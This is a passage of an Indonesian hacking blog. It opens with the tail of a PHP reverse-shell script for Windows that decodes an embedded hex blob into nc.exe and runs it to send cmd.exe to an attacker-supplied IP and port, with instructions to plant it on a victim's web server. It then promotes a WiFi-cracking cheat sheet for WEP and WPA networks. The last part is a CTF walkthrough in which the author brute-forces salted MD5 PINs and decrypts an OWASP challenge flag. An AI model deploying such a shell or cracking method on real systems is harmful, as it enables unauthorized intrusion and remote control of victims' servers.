"0e1b1ce76191a6fe526bd51e815ccc1f6400440004a2c4a76e660046c321".
"671de75bc78ea222689f083f236a004a4b3460e1246b006f0b9a164cffda".
"efcb000c263b003a4e27272a072860007eca42903a95225c28beb5c7747a".
"005a8c062c7800582c7414ef0c2d630043db2e8e56e828de51af2f620042".
"f23095b81596c54e1407316d8d3dbe3fdfb100322c003c332e003e073413".
"953487748d352a72740ddbb210a054a2684655749b5b30822e3d70a46a4e".
"57616b6e3304ce3f907cce4058dc82db9a947641a80c6e8e0bcd2d144284".
"6fa6c21470652d140c1e4a1471fe36cb663b4737077748388d49394af0e4".
"d91f842d4b34dcf22c70c0b24d367d742b36cb66794f3175503291513396".
"cdb25976523092532e93bff4bf42e085e087e089e08b09e088e08ae08d72".
"66a48c5ba20337919cc056b224e04881da455c00a5c0d0c5852efd1f5253".
"4453d7cf6e066ef8969fa9d33d46fcf5fc8a7e2600633a5c3e5c5265817d";
$nc = "";
for ($i=0;$i<strlen($hex)/2;$i++) {
    $nc.=chr(hexdec($hex[$i*2].$hex[$i*2+1]));
}
file_put_contents("nc.exe",$nc);
system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe");
?>
Source code lengkap reverse shell php di windows bisa didownload di sini lalu ekstrak dan masukkan ke web server milik korban. Gambar di bawah ini menunjukkan ketika file rswin.php dieksekusi dan memberikan shell cmd.exe kepada server milik hacker yang menjalankan Linux.

0 WiFu Cheat Sheet

Saya baru membuat cheat sheet yang cukup padat namun singkat untuk hacking wireless network dengan Aircrack-ng . Aircrack-ng adalah kumpulan tools yang digunakan untuk melakukan hacking terhadap jaringan wireless. Tools yang termasuk dalam aircrack-ng antara lain: airmon-ng, airodump-ng, aireplay-ng, packetforge-ng, aircrack-ng dan masih banyak lagi lainnya.
Pre-requisite:
  • Backtrack, nggak harus tapi very recommended
  • Wireless adapter dengan kemampuan packet injection. Saya pakai Alfa AWUS036H karena jangkauannya sangat jauh dan works out of the box di backtrack. Daftar lengkap wireless adapter yang compatible dengan backtrack bisa dilihat di daftar ini HCL: Wireless.
Cheat sheet ini mengcover sebagian besar kemungkinan situasi di dunia nyata. Skenario jaringan wireless yang bisa dihack dengan mengikuti cheat sheet ini adalah:
  • WEP open authentication dengan client atau tanpa client (clientless WLAN)
  • WEP shared key authentication (minimal harus ada 1 client)
  • WPA/WPA2 Pre Shared Key (minimal harus ada 1 client)
Hampir semua jaringan wireless yang ada sekarang masuk dalam 3 kemungkinan di atas. Jaringan dengan WEP, praktis bisa dihack semua. Jaringan dengan WPA/WPA2 bisa dihack dengan dictionary attack, jadi sangat tergantung daftar password yang dimiliki. Dalam cheat sheet saya juga menyertakan cara menggunakan john the ripper untuk generate password list atau melakukan modifikasi daftar password dasar menjadi kata baru berdasarkan aturan tertentu.
Oke, selanjutnya langsung saja download cheat sheetnya: WiFu Cheat Sheet 1.0

0 Pre-conference Challenge #3 OWASP AppsecUSA 2011 – Walkthrough

Dalam tulisan ini saya akan sharing bagaimana menyelesaikan challenge CTF OWASP dalam Appsec USA 2011.
Dalam challenge ini kita diminta mendownload sebuah file ZIP yang berisi sebuah Applet (dalam JAR) dan html untuk me-load Applet tersebut. Ketika Applet tersebut dibuka di browser akan terlihat seperti ini:
Kita dihadapkan pada form yang meminta kita memasukkan username dan PIN. Jadi challenge  kita adalah menemukan username dan PIN yang tepat untuk mendapatkan flag yang terenkripsi. Dari form tersebut kita mendapat clue bahwa PIN ini formatnya adalah 6 digit.

Sebelumnya kita harus tahu dulu darimana data username/PIN tersebut disimpan. Ada dua kemungkinan:
  • Server-side authentication: bila keputusan credentials benar/salah diputuskan di server
  • Client-side authentication: bila keputusan credentials benar/salah diputuskan di client (browser)
Pertama saya menguji dengan memasukkan user dan PIN sembarang, dari pantauan sniffer tidak terlihat ada traffic data sedikitpun. Dari sini bisa kita simpulkan bahwa ini adalah client-side authentication, artinya keputusan username dan PIN yang dimasukkan benar atau salah sepenuhnya diputuskan di client-side (dalam browser/Applet).
Dalam client-side authentication, pasti ada repository untuk menyimpan data user dan passwordnya. Dalam kasus ini, data tersebut disimpan dalam JAR. Dalam file JAR tersebut kalau kita buka, kita akan temukan file:
org\owasp\appsecusa\capturetheflag\loginchallenge\data.xml. Berikut adalah isi dari data.xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
    <users>
        <identity>
            <uid>1</uid>
            <username>Larry</username>
            <password>520540d155fdde616031d546cd5c747a</password>
        </identity>
        <identity>
            <uid>2</uid>
            <username>Curly</username>
            <password>edbf0f9d73cd984fae64c44c618f3c33</password>
        </identity>
        <identity>
            <uid>3</uid>
            <username>Moe</username>
            <password>b2512d38c5702ce5108585d3c730f657</password>
        </identity>
    </users>
    <storage>
        <record>
            <sid>3</sid>
            <data>LCNIk2NvX1JdVcwIoWBxyewfKIFexhCeGnepwYK63RmSrEmAbEg/CHLRA7sK0mjAB/ZJzbM113Mv
3YXg2d46age+gNFoERSce9u2/up8xcpjfLdKd9RilU1hqpkZ0vcXkgZSn8XTnecHVYSRG45gXuWA
PzWGvNdy396WivrEKZo5B3kGUOJh8XIBW90aA9RWN0thyHoJvjaiu7alKuv/wtKwMk0ZTuZol5Le
rY7iJJdaEPthqeso3bHg0xd3xKmD2X09PdEa1U8ZuOYH2Z3ZjN4fj6gm5EBjDNferc7rSWYcbNkF
064jnQHO73XQAURMXl+vaXWMX3i7uqWinm/eSc1BUspXaB3BBZChcoMqK0+gdsmzd1GGalVqL86f
xBL7T5yVS7RJe0r45HtCYXroecR1aaO6xzHUwcAqGAD2Km2n0DrmRz9MoVO0yR2/KipiAfjFzPd+
7wjbzF5M8BcfLNRtBR9fTK86fkeIO+19+IFwnlewYFzVIWtTebm3zOHJCbQtBttMfwp8YaM+UWxZ
sA==</data>
        </record>
        </storage>
    </root>
File XML ini menyimpan data user, password dan data yang terenkripsi (kemungkinan ini adalah flag yang akan kita capture). Dari isinya bisa kita lihat ada 3 user: Larry, Curly dan Moe. Password terlihat dalam bentuk hash sepanjang 32 karakter (dari panjangnya kemungkinan ini adalah MD5).
Karena kemungkinan password disimpan dalam MD5 dan formatnya adalah 6 digit, maka saya mencoba cara paling mudah dulu, yaitu melakukan brute force dengan john the ripper. Dengan diketahui formatnya adalah 6 digit, john bisa melakukan brute force dalam hitungan detik saja.
Sebelum menjalankan john, kita perlu edit john.conf dulu agar lebih efisien. Pada bagian Incremental:Digits Kita masukkan minLength=6 dan maxLength=6 karena kita tahu bahwa yang kita cari panjangnya tepat 6 digit.

Oke sekarang kita coba jalankan john dan berdoa semoga passwordnya ditemukan.

John dengan opsi “incremental:Digits” dan panjang diset 6 ternyata tidak berhasil mendapatkan kecocokan, artinya format tersebut pasti bukan plain MD5, kemungkinan sudah ditambah salt. Oke kalau cara ini gagal, sekarang waktunya “go deeper”.
Decompiling
Kita akan “go deeper” dengan melakukan decompiling file class yang tersimpan dalam JAR.
Class yang bertanggung jawab melakukan otentikasi adalah org.owasp.appsecusa.capturetheflag.loginchallenge.Authenticator khususnya pada method authenticate().
1
2
3
4
5
6
7
public boolean authenticate(String username, String pin)
    throws EncryptionException
  {
    if ((username == null) || (!this.usersIds.containsKey(username)))
      return false;
    return this.calculator.compare(pin, (String)this.usersIds.get(username));
  }
Dalam method authenticate() memakai method compare() dari class MD5HashCalculator.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public String getHash(String text)
    throws EncryptionException
  {
    try
    {
      MessageDigest m = MessageDigest.getInstance("MD5");
      m.update("BuildYourOwnRainbow-AppSecUSA:".getBytes(), 0, "BuildYourOwnRainbow-AppSecUSA:".length());
      m.update(text.getBytes(), 0, text.length());
      byte[] digest = m.digest();
      BigInteger bigInt = new BigInteger(1, digest);
      String hashtext = bigInt.toString(16);
 
      while (hashtext.length() < 32) {
        hashtext = "0" + hashtext;
      }
      return hashtext; } catch (NoSuchAlgorithmException ex) {
    }
    throw new EncryptionException("Failed to digest:" + ex.getMessage(), ex);
  }
 
  public boolean compare(String text, String hash) throws EncryptionException
  {
    return getHash(text).equals(hash);
  }
Dari potongan kode di atas terjawab bagaimana password disimpan. Password disimpan memang dalam MD5, tapi sudah diberi salt string:”BuildYourOwnRainbow-AppSecUSA:”, ini sebabnya john the ripper tidak berhasil meng-crack.
Brute forcing PIN
Karena kita sudah mengetahui bagaimana otentikasi dilakukan (MD5+salt) maka kita bisa meminjam code di atas dan memodifikasinya untuk melakukan brute force. Karena PIN adalah 6 digit, maka kita bisa melakukan brute force dari 100000 sampai 999999.
Kita hanya menambahkan method main yang melakukan looping dari 100.000 sampai < 1.000.000 dan memanfaatkan method compare getHash() dan compare() yang sama tanpa modifikasi.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.io.*;
 
public class md5
{
 
  public static void main(String[] args) { 
 for (int i = 100000; i < 1000000; i++) {
  String text = ""+i;
  boolean match = compare(text,"b2512d38c5702ce5108585d3c730f657");
  if (match) {
   System.out.println("MATCH nih, Moe:"+text);
   return;
  }
 }
  }
 
  public static String getHash(String text)
  {
    try
    {
      MessageDigest m = MessageDigest.getInstance("MD5");
      m.update("BuildYourOwnRainbow-AppSecUSA:".getBytes(), 0, "BuildYourOwnRainbow-AppSecUSA:".length());
      m.update(text.getBytes(), 0, text.length());
      byte[] digest = m.digest();
      BigInteger bigInt = new BigInteger(1, digest);
      String hashtext = bigInt.toString(16);
 
      while (hashtext.length() < 32) {
        hashtext = "0" + hashtext;
      }
      return hashtext; 
 } catch (Exception ex) { 
  System.out.println("Failed to digest:" + ex.getMessage());
  return null;
 }
 
  }
 
  public static boolean compare(String text, String hash) 
  {
    return getHash(text).equals(hash);
  }
}
Setelah dicompile dan dijalankan kita berhasil mendapatkan PIN 3 user tersebut dalam waktu yang sangat singkat hanya 1-3 menit untuk mendapatkan pin tiap user. PIN Larry adalah 894331. PIN Curly adalah 275446. PIN Moe adalah 495823.

Moe’s Flag
Dengan mengetahui PIN dari 3 user tersebut, saya mencoba login. Dari ketiga user tersebut hanya Moe yang mengandung Flag. Berikut tampilan ketika Moe login.

Ups, ternyata kita mendapatkan pesan:
“There is an encrypted flag stored for this user! I am able to decrypt it using your information but, unfortunatly, I cannot share it with you as the displayFlay variable is set to false. That’s about all I can tell you. Good Luck”
Ternyata kita tidak bisa langsung mendapatkan flag, masih ada satu barrier lagi yang harus kita lewati. Mari kita korek lagi source codenya untuk mencari variable displayFlay.
Displaying Flag
Dalam class org.owasp.appsecusa.capturetheflag.loginchallenge.Login ada method displayFlag() yang fungsinya menampilkan flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void displayFlag(Boolean displayFlag) throws IOException, EncryptionException {
    BASE64Decoder de = new BASE64Decoder();
    AES128Encryptor instance = new AES128Encryptor();
    InputStream in = new ByteArrayInputStream(de.decodeBuffer(this.encodedData));
    ByteArrayOutputStream out = new ByteArrayOutputStream();
    instance.decrypt(this.myWindow.pin.getText(), in, out);
    ByteArrayInputStream flagData = new ByteArrayInputStream(out.toByteArray());
    BufferedImage image = ImageIO.read(flagData);
    ImageIcon icon = new ImageIcon(image, "Our precious flag.");
    if (displayFlag.booleanValue() == true)
      this.myWindow.loginResponseLabel.setIcon(icon);
    else
      this.myWindow.response_label.setText("There is an encrypted flag stored for this user!\nI am able to decrypt it using your information\nbut, unfortunatly, I cannot share it with you as the\ndisplayFlay variable is set to false.\nThat's about all I can tell you. Good Luck!");
  }
Dalam method di atas terlihat bahwa flag berupa image dienkrip dengan AES 128 bit dengan PIN sebagai kuncinya. Masalahnya ada pada baris ke-10, bila method displayFlag dipanggil dengan parameter boolean false, maka akan flag tidak akan ditampilkan.
displayFlag() ini dipanggil dalam actionPerformed() masih di class yang sama. Berikut adalah potongan kode dalam actionPerformed() yang memanggil displayFlag().
1
2
3
4
5
if (this.dataTest.booleanValue() == true)
            displayFlag(Boolean.valueOf(false));
          else
            this.myWindow.response_label.setText("There are no encrypted flags stored for this user.");
        }
Potongan kode di atas menunjukkan bahwa displayFlag() dipanggil dengan parameter false, akibatnya flag tidak akan muncul. Parameter false ini sudah dibuat static hardcoded dalam source codenya, jadi dalam kondisi apapun akan tetap false. Karena dibuat static dan hardcoded, tidak ada cara lain untuk membuatnya menjadi true tanpa mengubah program.
Capturing the Flag
Kita bisa saja mengubah source code class tersebut dan mengubah “displayFlag(Boolean.valueOf(false))” menjadi “displayFlag(Boolean.valueOf(true))” lalu meng-compile dan menjalankan program tersebut. Tapi saya memilih untuk mengubahnya menjadi program kecil di console (bukan Applet), hanya untuk menyimpan flag ke dalam file PNG.
Berikut adalah potongan kode untuk men-dekrip dan menyimpan flag ke dalam file flag.png. Kode tersebut diambil dari kode aslinya dengan sedikit modifikasi unutuk menyimpan flag ke dalam file.
Bila anda ingin mencoba sendiri, source code lengkap untuk mendapatkan flag bisa didownload di: Capture.zip, anda hanya perlu melakukan ‘javac ParseXML.java’ kemudian ‘java ParseXML’ untuk mendapatkan flag.png.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class ParseXML
{
 
 public static LoginUsers parseXML() throws Exception
 {
  String resourceName = "Data.xml";
  Reader reader = new BufferedReader(new InputStreamReader(ParseXML.class.getClassLoader().getResourceAsStream(resourceName)));
  JAXBContext jc = JAXBContext.newInstance(new Class[] { LoginUsers.class });
  Unmarshaller um = jc.createUnmarshaller();
  return (LoginUsers)um.unmarshal(reader);
 }
 
 private static void displayFlag(String encodedData) throws Exception {
  AES128Encryptor instance = new AES128Encryptor();
  InputStream in = new ByteArrayInputStream(decode(encodedData));
  ByteArrayOutputStream out = new ByteArrayOutputStream();
  instance.decrypt("495823", in, out);
  ByteArrayInputStream flagData = new ByteArrayInputStream(out.toByteArray());
  BufferedImage image = ImageIO.read(flagData);  
 
  String fname = "flag.png";
  File file = new File(fname);
  ImageIO.write(image,"png",file);    
  System.out.println("Decrypted and Saved to "+fname);
 }
Ketika file tersebut dijalankan akan membuat sebuah file bernama flag.png. Berikut adalah tampilan ketika class ini dijalankan dari command prompt.

Flag.png adalah QR barcode yang mengandung teks. Untuk membaca isi teks dari barcode tersebut saya memakai layanan barcode reader online.

Bendera berhasil kita rebut, yaitu teks: http://www.appsecusa.org/ctf.html. Sekarang tinggal submit jawabannya.
 

Devil Dawn [ Irzzat Badut ] Copyright © 2011 - |- Template created by O Pregador - |- Powered by Blogger Templates